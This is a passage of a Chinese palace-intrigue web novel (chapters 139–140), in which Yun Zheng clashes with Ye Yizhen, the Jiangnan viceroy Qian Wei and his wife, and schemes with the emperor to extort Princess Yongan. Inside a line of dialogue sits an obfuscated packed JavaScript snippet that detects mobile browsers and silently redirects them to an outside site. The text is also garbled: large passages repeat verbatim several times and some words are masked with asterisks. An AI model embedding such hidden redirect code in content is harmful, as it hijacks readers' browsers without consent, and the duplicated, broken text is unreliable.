两人绑**。哪怕,将来江闻舟**,也没有一个高门子弟愿意娶她。这话一出,众人看向叶宜蓁的眼神都变了,轻鄙,嘲讽。不少猥琐下流的视线在叶宜蓁身上流连,恨不得剥光她的衣服。叶宜蓁羞窘难当,“我只是……受不了云筝无穷无尽的报复,我已经被她害的手脚皆废,不想再遭遇不幸啊。”她拼命甩锅,却忘了,云筝有仇必报。云筝立马不乐意了,“叶宜蓁,你糊涂了?你左臂是九千岁废的,右腿是皇上废的呀。”众人齐刷刷的盯着叶宜蓁,我却,她这是干了什么坏事?**敏感的左都御史立马变了脸色,这是一个信号。“啥?”又不是什么好事,宫中瞒着,叶宜蓁也是瞒的死死的,不敢让世人知道,这两位大佛都不待见她。云筝坚定的点头,“我亲眼所见,能让这两位动怒,可见,她干了多么令人发指的坏事。”叶宜蓁节节败退,急的满头大汗。“云筝,明明是你害人,跟我两个舅舅有什么关系?你别以为能挣几个钱,就能为所欲为,我是宗室之女,不是你能轻易得罪的。”云筝翻了个白眼,“现在不装可怜了?改走仗势欺人路线了?好虚伪啊。”就在此时,喧哗声响起,“明镜司来了。”谷雨带着手下冲过来,冲云筝微微颌首致意,随后看向四周。“是谁损毁了圣旨?”云筝大声道,“是她,叶宜蓁。”谷雨大手一挥,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868179|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带走。”叶宜蓁瑟瑟发抖,躲到永安长公主身后。永安长公主勃然大怒,“住手,谁敢动我的女儿?我女儿就算做错了什么,也轮不到别人处置,我会带着她去向皇上请罪。”谷雨迟疑了一下。云筝清脆的声音响起,“你还能进宫吗?皇上说过,不想见你们母女。”永安长公主恨死她了,“我们是亲姐弟,血缘是永远断绝不了,皇上是一时之气,气消了,我们姐弟又能和好如初。”云筝摇了摇头,“不可能,皇上跟我一样小气,会记一辈子。”众人:……永安长公主:……谷雨下令,“带走。”明镜司强行拖人,永安长公主气怒攻心,“来人,保护大小姐。”她一声令下,手下们纷纷拔出武器。双方对峙,眼见情势一触即发,谷雨冷冷的问道,“永安长公主,公然跟明镜司对抗,这是要**吗?”“胆敢违抗者,杀无赦。”永安长公主僵住了。明镜司一把将叶宜蓁揪出来,叶宜蓁吓的大声尖叫。江闻舟冲了过去,牢牢护着她,“住手,要伤害她,就先过我这一关。”叶宜蓁眼眶泛红,感动不已,在这危难时刻,连亲娘都放弃了,只有他不顾生死,挺身而出。“闻舟哥哥。”这一声闻舟哥哥百转千回,饱含了情意。谷雨嗤之以鼻,“都带走。”两人都被拿下,带回明镜司,永安长公主迟疑了一下,跟了上去。而,平西侯府的诸人全留在叶府,迅速抢占地盘。一路上,云筝不动声色的观察四周,叶宜蓁有难,她身后的人会出来吗?就在此时,一行车队浩浩荡荡驰过来,最中间的豪华马车精美绝伦,镶嵌着金线和宝石,在阳光下闪闪发光,奢侈无度。即将擦身而过,马车车窗忽然打开,一道清喝声猛的响起,“停下,统统停下,这不是平西侯世子吗?”“明镜司,这是怎么回事?”熟悉又陌生的声音入耳,云筝猛的抬头,瞳孔剧震,是他们!呵! 第139章 云筝,她够胆! 江闻舟的反应最快,看清对方的脸,眼中闪过一丝狂喜。“姑父,快救救我。”坐在马车里的是江南总督钱维,和他的小继妻,江淑蓉。钱维是皇上的奶兄,深得皇上的信任。皇上任人唯亲,就是喜欢重用自己的奶兄弟。云筝撇了撇嘴,内务府张总管是奶兄弟,江南总督钱维也是奶兄弟,皇上到底有几个奶兄弟?几个奶娘?而,江淑蓉是平西侯府的庶女,是江闻舟的亲姑姑。这对夫妻为了一己之私,一手促成了云家和平西侯府的婚事。可以说,他们是最主要的帮凶之一。他们的名字已经记在云筝的小本本上,只待秋后算账。江淑蓉探出头,看着最心爱的侄子,差点没认出来。她玉树临风的侄子,怎么毁容了?还浑身是伤,狼狈不堪。“这是什么情况?”江闻舟的眼泪都下来了,激动万分,救星总算来了。“姑父姑姑,你们回来的正好,我们平西侯府被欺负的好惨。”江南总督和平西侯联姻,一直是共同进退,互为依靠。江淑蓉长相极美,养尊处优,眉眼之间俱是倨傲之色。“有你们姑父在,谁都别想欺负平西侯府。”江南总督是江南地区的土皇帝,说一不二。身为江南总督夫人,江淑蓉自然是高高在上,被人捧惯了。“你这脸怎么伤成这样?”江闻舟抚着脸上的疤痕,泪如雨下,“是云筝,是她把我的脸毁了。”江淑蓉勃然大怒,“云筝这个忘恩负义的狗东西,我抬举她,让她一个上不了台面的商贾之女高嫁侯门,她不知感恩,还敢反了天,找死。”云家是在江南起家的,一步步做大,后来投靠了江南总督,所以,在江南总督夫妻眼里,云家就是他家的家奴。对家奴,自然是想打就打,想骂就骂,想杀就杀。保媒让云筝嫁进平西侯,已经是天大的恩典。她正怒气冲冲的喝斥,一颗小石子砸过来,砸中她的脸,她惨叫一声,“啊。”江南总督见小娇妻受伤,心疼不已,“谁?是谁?给本官站出来。”云筝探出脑袋,笑吟吟的开口,“哟,好大的官威呀。”江淑蓉气怒攻心,“是你,云筝,给我滚下来。”云筝趴在窗边,眉眼含笑,“我不会滚,你先滚一个给我瞧瞧。”“你……”江淑怒火翻滚,但看着四周的环境,强忍了下来。“云筝,你怎么不拜见长辈?商贾出身,教养实在太差。”她傲慢至极,依旧把云家当成自家的奴才,呼之则来,挥之则去。云筝可不会惯着她,“侯府庶女的教养也好不到哪里去,也是,小娘养的嘛。”江淑蓉:……!!!已经很久没人敢拿这种事情羞辱她了,云筝,她够胆!江淑蓉气疯了,恼羞成怒,“放肆,给我跪下。”云筝嘴角轻扬,在江南称王称霸,唯我独尊,在京城就行不通了。“ 你算什么东西,敢让朝廷钦封的郡主下跪?啊,你不会自以为是母仪天下的皇后吧?”她上上下下的打量,“你是皇后,那,你夫君就是……”她一本正经的胡说八道,钱维脸色大变,大声喝斥,“云筝,你这孩子怎么急了?好好说话。”云筝呵呵一笑,“好好说话?尊夫人听不懂人话啊。”钱维认真看了她几眼,“以前你跟着你父母前来府上拜见本官,那时的你恭恭敬敬,比我家的狗还要乖巧听话,如今都不敢认了。”他话里有话,暗示她只不过是钱家的奴才,比狗还不如。是啊,昔日他卡着云家的脖子,云家上贡了无数银子,依旧得不到尊重。他把云家当钱袋子,予取予求。这也是云家后来努力自救的原因之一。云筝眼中闪过一丝冷光,当场怼了回去,“钱总督还是老样子,官威十足,肚腩肥肥的,不知是吃了多少民脂民膏。”钱维:……在印象中,她是个乖巧温顺的女孩子,长的好看,但性子太过木讷,让人提不起兴趣。可现在,她锋芒毕露,神采飞扬,好像注入了新的生机,让人眼前一亮。“云展鹏呢?让他来见我。”他颐指气颐,高高在上,一副召唤奴才的模样。云筝微微一笑,“不好意思,我父亲是内务府官员,只须听内务府钱总管和皇上的召唤,江南总督,你的手伸的太长了。”钱维蹙了蹙眉,看来,之前她是装的,心眼真多。“你这孩子想多了,我和你父亲是旧友,感情深厚,好久不见实在想念,想叙叙旧。”云筝转过头,淡淡的道,“谷雨大人,是不是该押解犯人去明镜司了?”“是。”谷雨应了一声,冲钱维拱了拱手,“钱大人,告辞。”江闻舟急急呼救,“姑父,姑姑,救我。”江淑蓉大声命令道,“把人放了。”谷雨神色淡漠,“明镜司办案,任何人都不得阻挠。”江淑蓉大声叫嚣,“九千岁也得给我家老爷面子,我劝你识相点,否则,参你一本,让你吃不了兜着走。”谷雨没鸟他,钱家带来的下人拦着不让走。就在此时,一道声音猛的响起,“九千岁来了。”一群人簇拥着一辆马车过来,车窗打开,露出厉无恙冷峻的面容。江南总督不敢怠慢,带着手下们齐齐行礼,“见过九千岁。”刚才还叫嚣的江淑蓉缩回马车,连面都不敢露。厉无恙神色冷戾,“江南总督当街阻扰我明镜司办案,是何居心?”江南总督躬着身,心一下子绷紧,“九千岁误会了,我们只是问问情况。”厉无恙看向谷雨,谷雨拱了拱手,“江叶氏损毁圣旨,罪大恶极,江二公子护妻心切,愿跟妻子同生共死。”厉无恙一挥右手,“带走。”他的气势辗压全场,没人敢阻止,江南总督眼睁睁的看着厉无恙带着人离开。等人影消失不见了,他才直起身体,长长吐出一口气,抹了抹额头的汗。云筝追了过去,笑的贼兮兮,“王爷,您帮我跟皇上问一声,想不想挣外快?”厉无恙挑了挑眉,眼中闪过一丝笑意,她又想整谁? 你算什么东西,敢让朝廷钦封的郡主下跪?啊,你不会自以为是母仪天下的皇后吧?”她上上下下的打量,“你是皇后,那,你夫君就是……”她一本正经的胡说八道,钱维脸色大变,大声喝斥,“云筝,你这孩子怎么急了?好好说话。”云筝呵呵一笑,“好好说话?尊夫人听不懂人话啊。”钱维认真看了她几眼,“以前你跟着你父母前来府上拜见本官,那时的你恭恭敬敬,比我家的狗还要乖巧听话,如今都不敢认了。”他话里有话,暗示她只不过是钱家的奴才,比狗还不如。是啊,昔日他卡着云家的脖子,云家上贡了无数银子,依旧得不到尊重。他把云家当钱袋子,予取予求。这也是云家后来努力自救的原因之一。云筝眼中闪过一丝冷光,当场怼了回去,“钱总督还是老样子,官威十足,肚腩肥肥的,不知是吃了多少民脂民膏。”钱维:……在印象中,她是个乖巧温顺的女孩子,长的好看,但性子太过木讷,让人提不起兴趣。可现在,她锋芒毕露,神采飞扬,好像注入了新的生机,让人眼前一亮。“云展鹏呢?让他来见我。”他颐指气颐,高高在上,一副召唤奴才的模样。云筝微微一笑,“不好意思,我父亲是内务府官员,只须听内务府钱总管和皇上的召唤,江南总督,你的手伸的太长了。”钱维蹙了蹙眉,看来,之前她是装的,心眼真多。“你这孩子想多了,我和你父亲是旧友,感情深厚,好久不见实在想念,想叙叙旧。”云筝转过头,淡淡的道,“谷雨大人,是不是该押解犯人去明镜司了?”“是。”谷雨应了一声,冲钱维拱了拱手,“钱大人,告辞。”江闻舟急急呼救,“姑父,姑姑,救我。”江淑蓉大声命令道,“把人放了。”谷雨神色淡漠,“明镜司办案,任何人都不得阻挠。”江淑蓉大声叫嚣,“九千岁也得给我家老爷面子,我劝你识相点,否则,参你一本,让你吃不了兜着走。”谷雨没鸟他,钱家带来的下人拦着不让走。就在此时,一道声音猛的响起,“九千岁来了。”一群人簇拥着一辆马车过来,车窗打开,露出厉无恙冷峻的面容。江南总督不敢怠慢,带着手下们齐齐行礼,“见过九千岁。”刚才还叫嚣的江淑蓉缩回马车,连面都不敢露。厉无恙神色冷戾,“江南总督当街阻扰我明镜司办案,是何居心?”江南总督躬着身,心一下子绷紧,“九千岁误会了,我们只是问问情况。”厉无恙看向谷雨,谷雨拱了拱手,“江叶氏损毁圣旨,罪大恶极,江二公子护妻心切,愿跟妻子同生共死。”厉无恙一挥右手,“带走。”他的气势辗压全场,没人敢阻止,江南总督眼睁睁的看着厉无恙带着人离开。等人影消失不见了,他才直起身体,长长吐出一口气,抹了抹额头的汗。云筝追了过去,笑的贼兮兮,“王爷,您帮我跟皇上问一声,想不想挣外快?”厉无恙挑了挑眉,眼中闪过一丝笑意,她又想整谁? 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你算什么东西,敢让朝廷钦封的郡主下跪?啊,你不会自以为是母仪天下的皇后吧?”她上上下下的打量,“你是皇后,那,你夫君就是……”她一本正经的胡说八道,钱维脸色大变,大声喝斥,“云筝,你这孩子怎么急了?好好说话。”云筝呵呵一笑,“好好说话?尊夫人听不懂人话啊。”钱维认真看了她几眼,“以前你跟着你父母前来府上拜见本官,那时的你恭恭敬敬,比我家的狗还要乖巧听话,如今都不敢认了。”他话里有话,暗示她只不过是钱家的奴才,比狗还不如。是啊,昔日他卡着云家的脖子,云家上贡了无数银子,依旧得不到尊重。他把云家当钱袋子,予取予求。这也是云家后来努力自救的原因之一。云筝眼中闪过一丝冷光,当场怼了回去,“钱总督还是老样子,官威十足,肚腩肥肥的,不知是吃了多少民脂民膏。”钱维:……在印象中,她是个乖巧温顺的女孩子,长的好看,但性子太过木讷,让人提不起兴趣。可现在,她锋芒毕露,神采飞扬,好像注入了新的生机,让人眼前一亮。“云展鹏呢?让他来见我。”他颐指气颐,高高在上,一副召唤奴才的模样。云筝微微一笑,“不好意思,我父亲是内务府官员,只须听内务府钱总管和皇上的召唤,江南总督,你的手伸的太长了。”钱维蹙了蹙眉,看来,之前她是装的,心眼真多。“你这孩子想多了,我和你父亲是旧友,感情深厚,好久不见实在想念,想叙叙旧。”云筝转过头,淡淡的道,“谷雨大人,是不是该押解犯人去明镜司了?”“是。”谷雨应了一声,冲钱维拱了拱手,“钱大人,告辞。”江闻舟急急呼救,“姑父,姑姑,救我。”江淑蓉大声命令道,“把人放了。”谷雨神色淡漠,“明镜司办案,任何人都不得阻挠。”江淑蓉大声叫嚣,“九千岁也得给我家老爷面子,我劝你识相点,否则,参你一本,让你吃不了兜着走。”谷雨没鸟他,钱家带来的下人拦着不让走。就在此时,一道声音猛的响起,“九千岁来了。”一群人簇拥着一辆马车过来,车窗打开,露出厉无恙冷峻的面容。江南总督不敢怠慢,带着手下们齐齐行礼,“见过九千岁。”刚才还叫嚣的江淑蓉缩回马车,连面都不敢露。厉无恙神色冷戾,“江南总督当街阻扰我明镜司办案,是何居心?”江南总督躬着身,心一下子绷紧,“九千岁误会了,我们只是问问情况。”厉无恙看向谷雨,谷雨拱了拱手,“江叶氏损毁圣旨,罪大恶极,江二公子护妻心切,愿跟妻子同生共死。”厉无恙一挥右手,“带走。”他的气势辗压全场,没人敢阻止,江南总督眼睁睁的看着厉无恙带着人离开。等人影消失不见了,他才直起身体,长长吐出一口气,抹了抹额头的汗。云筝追了过去,笑的贼兮兮,“王爷,您帮我跟皇上问一声,想不想挣外快?”厉无恙挑了挑眉,眼中闪过一丝笑意,她又想整谁? 你算什么东西,敢让朝廷钦封的郡主下跪?啊,你不会自以为是母仪天下的皇后吧?”她上上下下的打量,“你是皇后,那,你夫君就是……”她一本正经的胡说八道,钱维脸色大变,大声喝斥,“云筝,你这孩子怎么急了?好好说话。”云筝呵呵一笑,“好好说话?尊夫人听不懂人话啊。”钱维认真看了她几眼,“以前你跟着你父母前来府上拜见本官,那时的你恭恭敬敬,比我家的狗还要乖巧听话,如今都不敢认了。”他话里有话,暗示她只不过是钱家的奴才,比狗还不如。是啊,昔日他卡着云家的脖子,云家上贡了无数银子,依旧得不到尊重。他把云家当钱袋子,予取予求。这也是云家后来努力自救的原因之一。云筝眼中闪过一丝冷光,当场怼了回去,“钱总督还是老样子,官威十足,肚腩肥肥的,不知是吃了多少民脂民膏。”钱维:……在印象中,她是个乖巧温顺的女孩子,长的好看,但性子太过木讷,让人提不起兴趣。可现在,她锋芒毕露,神采飞扬,好像注入了新的生机,让人眼前一亮。“云展鹏呢?让他来见我。”他颐指气颐,高高在上,一副召唤奴才的模样。云筝微微一笑,“不好意思,我父亲是内务府官员,只须听内务府钱总管和皇上的召唤,江南总督,你的手伸的太长了。”钱维蹙了蹙眉,看来,之前她是装的,心眼真多。“你这孩子想多了,我和你父亲是旧友,感情深厚,好久不见实在想念,想叙叙旧。”云筝转过头,淡淡的道,“谷雨大人,是不是该押解犯人去明镜司了?”“是。”谷雨应了一声,冲钱维拱了拱手,“钱大人,告辞。”江闻舟急急呼救,“姑父,姑姑,救我。”江淑蓉大声命令道,“把人放了。”谷雨神色淡漠,“明镜司办案,任何人都不得阻挠。”江淑蓉大声叫嚣,“九千岁也得给我家老爷面子,我劝你识相点,否则,参你一本,让你吃不了兜着走。”谷雨没鸟他,钱家带来的下人拦着不让走。就在此时,一道声音猛的响起,“九千岁来了。”一群人簇拥着一辆马车过来,车窗打开,露出厉无恙冷峻的面容。江南总督不敢怠慢,带着手下们齐齐行礼,“见过九千岁。”刚才还叫嚣的江淑蓉缩回马车,连面都不敢露。厉无恙神色冷戾,“江南总督当街阻扰我明镜司办案,是何居心?”江南总督躬着身,心一下子绷紧,“九千岁误会了,我们只是问问情况。”厉无恙看向谷雨,谷雨拱了拱手,“江叶氏损毁圣旨,罪大恶极,江二公子护妻心切,愿跟妻子同生共死。”厉无恙一挥右手,“带走。”他的气势辗压全场,没人敢阻止,江南总督眼睁睁的看着厉无恙带着人离开。等人影消失不见了,他才直起身体,长长吐出一口气,抹了抹额头的汗。云筝追了过去,笑的贼兮兮,“王爷,您帮我跟皇上问一声,想不想挣外快?”厉无恙挑了挑眉,眼中闪过一丝笑意,她又想整谁? 第140章 盯上了谁的钱? 皇宫,皇上端坐在御座,书案上堆满了**的奏折。 他随意翻了翻,大部分是**永安长公主教女无方,叶宜蓁毁损圣旨,还不知悔改。 还有一部分是**云筝嚣张跋扈。 他将奏折一扔,“锦云确实有点过了,算计叶宜蓁就算了,非要拿圣旨做局,那是朕的体面。” 坐在对面的厉无恙淡淡的道,“皇上,锦云问您,要挣快钱吗?” 皇上立马来了兴致,“怎么挣?” 厉无恙挑了挑眉,似笑非笑,“先别急着把叶宜蓁搞死,让永安长公主出钱赎她,永安长公主万贯家财,再挥霍也用不完。” 皇上默了默,云筝多少是带了私人恩怨的。但,她说的没错啊。 “定多少合适?” 厉无恙早就料到了,在这方面,皇上跟云筝挺合得来的。 “锦云建议,十万。” 皇上微微蹙眉,“太少了吧?” 据他所知,当年镇南王府覆灭,百年家底一半归了国库,一半归了永安长公主。 永安长公主出嫁时带了大笔的嫁妆,这两厢加起来,是一笔巨大的财富。 厉无恙嘴角抽了抽,“一次掏一点,多抓几次,永安长公主的家底就被掏空了。” 这是钝刀子割肉,一次又一次的找麻烦抓人,是肉体和心灵的两重打压,惶惶不可终日,几乎没人受得了。 皇上心里一动,“这合适吗?” 老找一个人的麻烦,显得他很小气啊。 等他说完这话,就是表示心动了。 厉无恙最了解他,既要又要。“这是为了永安长公主好,人穷志短就安份了,否则,以她的性子,迟早会出事,到时为难的是您。” 皇上微微颌首,“说的对,朕真是太难了,朕不想背上残害手足的罪名。” 厉无恙微微垂眸,掩去眼中的情绪,“锦云郡主估计是早就算好了,才整了这么一出。” 皇上哈哈一笑,越想越觉得有意思。 叶宜蓁浑身都是小辫子,随手抓一大把,随便找个罪名抓起来不难,难的是,罪名要服众。 说不定,还能将叶宜蓁背后的人刺激的跳出来。 “那丫头的鬼点子就是多,罢 了,她一片忠心难得可贵,时刻记得维护朕的权威。” “以后,就让锦云去找叶宜蓁的麻烦,朕只等着收钱。” 厉无恙:…… “只是,江南总督夫妻没将朝廷钦封的郡主放在眼里,说话极为刻薄,让锦云郡主很难堪。” 皇上眉头皱了皱,云家出身太低,之前依附江南总督,但如今情况不一样了。 “来人,赏,锦云郡主,贡绸两匹,织金缎两匹,镂金点翠宫扇两把,织锦镶**斗篷两件。” 锦云郡主府的大门匆匆打开,太监过来宣旨,接了赏钱后匆匆离开。 云展鹏夫妻捧着宫中赏赐之物,茫然四顾。 “筝儿,皇上好端端为什么赏你这些?你又立功了?” 云筝心思飞转,“可能,也许是压江南总督的锐气,为我撑腰,平衡两边的势力吧。” 帝王心术,玩的就是制衡。 一提到江南总督,云展鹏脸色不好看,“没想到他回京叙职,路上都能遇上你。” 之前,他鲜少带女儿出现在江南总督面前,能避则避,不能避就装木讷呆板,满口之乎者也,让对方主动避而远之。 “以后要是遇到他,就避一避锋芒,他是皇上的心腹,不是一般的看重。” 江南总督的位置太重要了,关系到各方面,素来是皇上最信任的心腹。 云筝微微摇头,“避不开的,我们和钱江两家结了仇,钱维夫妻会想办法对付我们。” 钱江两家一个在京,一个在江南,互为臂膀,是利益共同体。 云母有些着急,“那怎么办?” 云筝拉着她的手安抚,“爹,娘,今时不同往日,昔日我们是仰人鼻息的商贾,钱维是高高在上的江南土皇帝。” “而如今,您是内务府的五品官员,我是二品的锦云郡主,而且我们身在京城,不在他的势力范围内。” 云母眉头紧皱,“可,他有圣眷。” 云筝拿起一把镂金点翠宫扇把玩,“我也有啊,皇上要用我,就会保我。” 她嘴角轻勾,“而且,我有九千岁,钱维最怕的人是九千岁。” 云展鹏深吸一口气,“我这就去库房翻一翻,挑些礼物送给九千岁,也不知九千岁喜欢什么,筝儿,你帮我挑一挑 。” “好嘞。” 父女俩带着礼物匆匆跑去睿王府,刚敲开门还没有说来意,门房就热情的招呼。 “两位快请进,我家主子在书房。” 云展鹏呆了呆,据说睿王府是最难进的,难道走错地方??“您就不去通禀一声?” 门房笑容满面的说道,“主子说,只要是锦云郡主上门,无须通禀,直接进去。” 云展鹏只知九千岁是自家女儿的靠山,但没想到关系这么铁。 “九千岁对你真不错,别看他平时冷冰冰的,没想到这么护短。” 两人来到书房,“见过王爷。” 云展鹏行完礼,就将带来的礼物奉上。 厉无恙神色淡淡的,“来都来了,带什么礼物?” 云筝笑眯眯的挑了一个锦盒打开,“我精心挑的,您看,这玉扳指玉色多好,透着亮呢,您试试合不合适?” 厉无恙深深的看了她一眼,毫不犹豫的取下手上有些磨损的扳指,将新扳指换上。 他嘴角微勾,“合适,不大不小,正好,你的眼光不错。” 云筝得意洋洋的显摆,“那是,我是谁呀。” 云展鹏看看这个,看看那个,总觉得哪里不对劲。 下人送上茶,云筝喝了一口,是她喜欢的口味,“皇上怎么说?” 厉无恙把玩着扳指,“让你去找叶宜蓁麻烦,他等着收钱。” 云筝表情一言难尽,“皇上真的是……”太狗了。 她转头一想,能尽情的折腾叶宜蓁,“也行吧。” “跟我说说钱家的事情呗。” 厉无恙略一沉吟,“钱家出身贫寒,是靠钱老夫人起家的,钱老夫人不光是皇上的奶娘,还救了年幼的皇上好几次。” “别看钱老夫人慈眉善目的,其实有的是手段。” 云筝睁大眼睛,“她还没死?怎么一点风声都没有?” 厉无恙摆了摆手,“没死,她是个聪明人,人留在京城,却极为低调,从不抛头露面,也不结交权臣,深得皇上的的信任。” 云筝懂了,“就是说,钱老夫人一日不死,钱家就垮不了。” 厉无恙颌首,“对。” “不过,你不用担心,谁敢欺负你,狠狠打回去,有我善后。” 云筝眉眼弯弯,“谢王爷,您对我们云家真好。” 云展鹏呆呆的看着两人熟稔而又自然的互动,终于意识到哪里不对劲…… 。” “好嘞。” 父女俩带着礼物匆匆跑去睿王府,刚敲开门还没有说来意,门房就热情的招呼。 “两位快请进,我家主子在书房。” 云展鹏呆了呆,据说睿王府是最难进的,难道走错地方??“您就不去通禀一声?” 门房笑容满面的说道,“主子说,只要是锦云郡主上门,无须通禀,直接进去。” 云展鹏只知九千岁是自家女儿的靠山,但没想到关系这么铁。 “九千岁对你真不错,别看他平时冷冰冰的,没想到这么护短。” 两人来到书房,“见过王爷。” 云展鹏行完礼,就将带来的礼物奉上。 厉无恙神色淡淡的,“来都来了,带什么礼物?” 云筝笑眯眯的挑了一个锦盒打开,“我精心挑的,您看,这玉扳指玉色多好,透着亮呢,您试试合不合适?” 厉无恙深深的看了她一眼,毫不犹豫的取下手上有些磨损的扳指,将新扳指换上。 他嘴角微勾,“合适,不大不小,正好,你的眼光不错。” 云筝得意洋洋的显摆,“那是,我是谁呀。” 云展鹏看看这个,看看那个,总觉得哪里不对劲。 下人送上茶,云筝喝了一口,是她喜欢的口味,“皇上怎么说?” 厉无恙把玩着扳指,“让你去找叶宜蓁麻烦,他等着收钱。” 云筝表情一言难尽,“皇上真的是……”太狗了。 她转头一想,能尽情的折腾叶宜蓁,“也行吧。” “跟我说说钱家的事情呗。” 厉无恙略一沉吟,“钱家出身贫寒,是靠钱老夫人起家的,钱老夫人不光是皇上的奶娘,还救了年幼的皇上好几次。” “别看钱老夫人慈眉善目的,其实有的是手段。” 云筝睁大眼睛,“她还没死?怎么一点风声都没有?” 厉无恙摆了摆手,“没死,她是个聪明人,人留在京城,却极为低调,从不抛头露面,也不结交权臣,深得皇上的的信任。” 云筝懂了,“就是说,钱老夫人一日不死,钱家就垮不了。” 厉无恙颌首,“对。” “不过,你不用担心,谁敢欺负你,狠狠打回去,有我善后。” 云筝眉眼弯弯,“谢王爷,您对我们云家真好。” 云展鹏呆呆的看着两人熟稔而又自然的互动,终于意识到哪里不对劲…… 。” “好嘞。” 父女俩带着礼物匆匆跑去睿王府,刚敲开门还没有说来意,门房就热情的招呼。 “两位快请进,我家主子在书房。” 云展鹏呆了呆,据说睿王府是最难进的,难道走错地方??“您就不去通禀一声?” 门房笑容满面的说道,“主子说,只要是锦云郡主上门,无须通禀,直接进去。” 云展鹏只知九千岁是自家女儿的靠山,但没想到关系这么铁。 “九千岁对你真不错,别看他平时冷冰冰的,没想到这么护短。” 两人来到书房,“见过王爷。” 云展鹏行完礼,就将带来的礼物奉上。 厉无恙神色淡淡的,“来都来了,带什么礼物?” 云筝笑眯眯的挑了一个锦盒打开,“我精心挑的,您看,这玉扳指玉色多好,透着亮呢,您试试合不合适?” 厉无恙深深的看了她一眼,毫不犹豫的取下手上有些磨损的扳指,将新扳指换上。 他嘴角微勾,“合适,不大不小,正好,你的眼光不错。” 云筝得意洋洋的显摆,“那是,我是谁呀。” 云展鹏看看这个,看看那个,总觉得哪里不对劲。 下人送上茶,云筝喝了一口,是她喜欢的口味,“皇上怎么说?” 厉无恙把玩着扳指,“让你去找叶宜蓁麻烦,他等着收钱。” 云筝表情一言难尽,“皇上真的是……”太狗了。 她转头一想,能尽情的折腾叶宜蓁,“也行吧。” “跟我说说钱家的事情呗。” 厉无恙略一沉吟,“钱家出身贫寒,是靠钱老夫人起家的,钱老夫人不光是皇上的奶娘,还救了年幼的皇上好几次。” “别看钱老夫人慈眉善目的,其实有的是手段。” 云筝睁大眼睛,“她还没死?怎么一点风声都没有?” 厉无恙摆了摆手,“没死,她是个聪明人,人留在京城,却极为低调,从不抛头露面,也不结交权臣,深得皇上的的信任。” 云筝懂了,“就是说,钱老夫人一日不死,钱家就垮不了。” 厉无恙颌首,“对。” “不过,你不用担心,谁敢欺负你,狠狠打回去,有我善后。” 云筝眉眼弯弯,“谢王爷,您对我们云家真好。” 云展鹏呆呆的看着两人熟稔而又自然的互动,终于意识到哪里不对劲…… 。” “好嘞。” 父女俩带着礼物匆匆跑去睿王府,刚敲开门还没有说来意,门房就热情的招呼。 “两位快请进,我家主子在书房。” 云展鹏呆了呆,据说睿王府是最难进的,难道走错地方??“您就不去通禀一声?” 门房笑容满面的说道,“主子说,只要是锦云郡主上门,无须通禀,直接进去。” 云展鹏只知九千岁是自家女儿的靠山,但没想到关系这么铁。 “九千岁对你真不错,别看他平时冷冰冰的,没想到这么护短。” 两人来到书房,“见过王爷。” 云展鹏行完礼,就将带来的礼物奉上。 厉无恙神色淡淡的,“来都来了,带什么礼物?” 云筝笑眯眯的挑了一个锦盒打开,“我精心挑的,您看,这玉扳指玉色多好,透着亮呢,您试试合不合适?” 厉无恙深深的看了她一眼,毫不犹豫的取下手上有些磨损的扳指,将新扳指换上。 他嘴角微勾,“合适,不大不小,正好,你的眼光不错。” 云筝得意洋洋的显摆,“那是,我是谁呀。” 云展鹏看看这个,看看那个,总觉得哪里不对劲。 下人送上茶,云筝喝了一口,是她喜欢的口味,“皇上怎么说?” 厉无恙把玩着扳指,“让你去找叶宜蓁麻烦,他等着收钱。” 云筝表情一言难尽,“皇上真的是……”太狗了。 她转头一想,能尽情的折腾叶宜蓁,“也行吧。” “跟我说说钱家的事情呗。” 厉无恙略一沉吟,“钱家出身贫寒,是靠钱老夫人起家的,钱老夫人不光是皇上的奶娘,还救了年幼的皇上好几次。” “别看钱老夫人慈眉善目的,其实有的是手段。” 云筝睁大眼睛,“她还没死?怎么一点风声都没有?” 厉无恙摆了摆手,“没死,她是个聪明人,人留在京城,却极为低调,从不抛头露面,也不结交权臣,深得皇上的的信任。” 云筝懂了,“就是说,钱老夫人一日不死,钱家就垮不了。” 厉无恙颌首,“对。” “不过,你不用担心,谁敢欺负你,狠狠打回去,有我善后。” 云筝眉眼弯弯,“谢王爷,您对我们云家真好。” 云展鹏呆呆的看着两人熟稔而又自然的互动,终于意识到哪里不对劲…… 。” “好嘞。” 父女俩带着礼物匆匆跑去睿王府,刚敲开门还没有 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下人送上茶,云筝喝了一口,是她喜欢的口味,“皇上怎么说?” 厉无恙把玩着扳指,“让你去找叶宜蓁麻烦,他等着收钱。” 云筝表情一言难尽,“皇上真的是……”太狗了。 她转头一想,能尽情的折腾叶宜蓁,“也行吧。” “跟我说说钱家的事情呗。” 厉无恙略一沉吟,“钱家出身贫寒,是靠钱老夫人起家的,钱老夫人不光是皇上的奶娘,还救了年幼的皇上好几次。” “别看钱老夫人慈眉善目的,其实有的是手段。” 云筝睁大眼睛,“她还没死?怎么一点风声都没有?” 厉无恙摆了摆手,“没死,她是个聪明人,人留在京城,却极为低调,从不抛头露面,也不结交权臣,深得皇上的的信任。” 云筝懂了,“就是说,钱老夫人一日不死,钱家就垮不了。” 厉无恙颌首,“对。” “不过,你不用担心,谁敢欺负你,狠狠打回去,有我善后。” 云筝眉眼弯弯,“谢王爷,您对我们云家真好。” 云展鹏呆呆的看着两人熟稔而又自然的互动,终于意识到哪里不对劲…… 。” “好嘞。” 父女俩带着礼物匆匆跑去睿王府,刚敲开门还没有说来意,门房就热情的招呼。 “两位快请进,我家主子在书房。” 云展鹏呆了呆,据说睿王府是最难进的,难道走错地方??“您就不去通禀一声?” 门房笑容满面的说道,“主子说,只要是锦云郡主上门,无须通禀,直接进去。” 云展鹏只知九千岁是自家女儿的靠山,但没想到关系这么铁。 “九千岁对你真不错,别看他平时冷冰冰的,没想到这么护短。” 两人来到书房,“见过王爷。” 云展鹏行完礼,就将带来的礼物奉上。 厉无恙神色淡淡的,“来都来了,带什么礼物?” 